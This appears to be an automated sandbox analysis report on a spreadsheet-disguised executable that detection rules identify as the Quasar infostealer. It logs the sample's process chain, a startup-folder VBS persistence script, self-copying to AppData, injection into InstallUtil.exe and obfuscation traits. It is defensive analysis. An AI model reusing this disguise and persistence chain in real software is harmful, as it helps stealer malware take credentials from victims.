                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3e38780.4.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_QuasarStealer author = ditekshen, description = Detects Quasar infostealer, clamav_sig = MALWARE.Win.Trojan.QuasarStealer
                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3869570.3.raw.unpack, ITaskFolder.csTask registration methods: 'RegisterTaskDefinition', 'RegisterTask'
                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3869570.3.raw.unpack, TaskFolder.csTask registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3869570.3.raw.unpack, Task.csTask registration methods: 'RegisterChanges', 'CreateTask'
                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3869570.3.raw.unpack, TaskService.csTask registration methods: 'CreateFromToken'
                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3869570.3.raw.unpack, User.csSecurity API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3869570.3.raw.unpack, Task.csSecurity API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3869570.3.raw.unpack, TaskPrincipal.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3869570.3.raw.unpack, TaskSecurity.csSecurity API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3869570.3.raw.unpack, TaskSecurity.csSecurity API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3869570.3.raw.unpack, TaskFolder.csSecurity API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
                Source: classification engineClassification label: mal100.troj.expl.evad.winEXE@8/6@4/3
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RealErrorObject.vbsJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeMutant created: NULL
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeMutant created: \Sessions\1\BaseNamedObjects\Local\a9116a3c-c75d-46ba-83b2-70c9a140159e
                Source: unknownProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RealErrorObject.vbs"
                Source: RFQ 9-XTC-204-60THD.xlsx.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                Source: RFQ 9-XTC-204-60THD.xlsx.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                Source: C:\Windows\System32\wscript.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                Source: RFQ 9-XTC-204-60THD.xlsx.exeReversingLabs: Detection: 42%
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeFile read: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeJump to behavior
                Source: unknownProcess created: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe "C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe"
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
                Source: unknownProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RealErrorObject.vbs"
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Roaming\RealErrorObject.exe "C:\Users\user\AppData\Roaming\RealErrorObject.exe"
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"Jump to behavior
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Roaming\RealErrorObject.exe "C:\Users\user\AppData\Roaming\RealErrorObject.exe" Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: version.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: dhcpcsvc6.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: dhcpcsvc.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: winnsi.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: rasapi32.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: rasman.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: rtutils.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: mswsock.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: fwpuclnt.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: schannel.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: mskeyprotect.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: ntasn1.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: ncrypt.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: ncryptsslp.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: gpapi.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeSection loaded: ntmarta.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: wtsapi32.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: winsta.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: mswsock.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: fwpuclnt.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: schannel.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: mskeyprotect.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: ntasn1.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: ncrypt.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: ncryptsslp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: gpapi.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: cryptnet.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: winnsi.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: dhcpcsvc6.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: dhcpcsvc.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: webio.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: cabinet.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: rasapi32.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: rasman.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: rtutils.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: wbemcomn.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: vbscript.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: scrobj.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: edputil.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: urlmon.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: srvcli.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: appresolver.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: bcp47langs.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: slc.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: sppc.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: version.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: dhcpcsvc6.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: dhcpcsvc.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: winnsi.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: rasapi32.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: rasman.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: rtutils.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: mswsock.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: fwpuclnt.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: schannel.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: mskeyprotect.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: ntasn1.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: ncrypt.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: ncryptsslp.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: gpapi.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
                Source: RFQ 9-XTC-204-60THD.xlsx.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
                Source: RFQ 9-XTC-204-60THD.xlsx.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1565207093.0000000004850000.00000004.08000000.00040000.00000000.sdmp, RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1558613210.0000000003811000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1565207093.0000000004850000.00000004.08000000.00040000.00000000.sdmp, RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1558613210.0000000003811000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: protobuf-net.pdbSHA256}Lq source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1575220335.0000000007070000.00000004.08000000.00040000.00000000.sdmp, RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1558613210.0000000003E38000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: protobuf-net.pdb source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1575220335.0000000007070000.00000004.08000000.00040000.00000000.sdmp, RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1558613210.0000000003E38000.00000004.00000800.00020000.00000000.sdmp

                Data Obfuscation

                barindex
                .NET source code contains potential unpacker
                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3869570.3.raw.unpack, ReflectionHelper.cs.Net Code: InvokeMethod
                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3869570.3.raw.unpack, ReflectionHelper.cs.Net Code: InvokeMethod
                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3869570.3.raw.unpack, XmlSerializationHelper.cs.Net Code: ReadObjectProperties
                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.4226750.0.raw.unpack, TypeModel.cs.Net Code: TryDeserializeList
                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.4226750.0.raw.unpack, ListDecorator.cs.Net Code: Read
                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.4226750.0.raw.unpack, TypeSerializer.cs.Net Code: CreateInstance
                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.4226750.0.raw.unpack, TypeSerializer.cs.Net Code: EmitCreateInstance
                Source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.4226750.0.raw.unpack, TypeSerializer.cs.Net Code: EmitCreateIfNull
                Yara detected Costura Assembly Loader
                Source: Yara matchFile source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.6ef0000.10.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000000.00000002.1574129055.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.1821278737.0000000002EAA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.1541050756.00000000028BA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: RFQ 9-XTC-204-60THD.xlsx.exe PID: 7488, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: RealErrorObject.exe PID: 7996, type: MEMORYSTR
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_0603DE50 pushad ; ret 0_2_0603DE69
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06038B04 push es; iretd 0_2_06038B10
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06037058 pushad ; retf 0_2_060370A9
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_060370AA pushad ; retf 0_2_060370A9
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_060370F0 pushfd ; retf 0_2_060370F1
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06DC1B00 push esp; iretd 0_2_06DC1B39
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06E21913 push eax; ret 0_2_06E2191D
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 0_2_06E497E1 push es; retf 0_2_06E49818
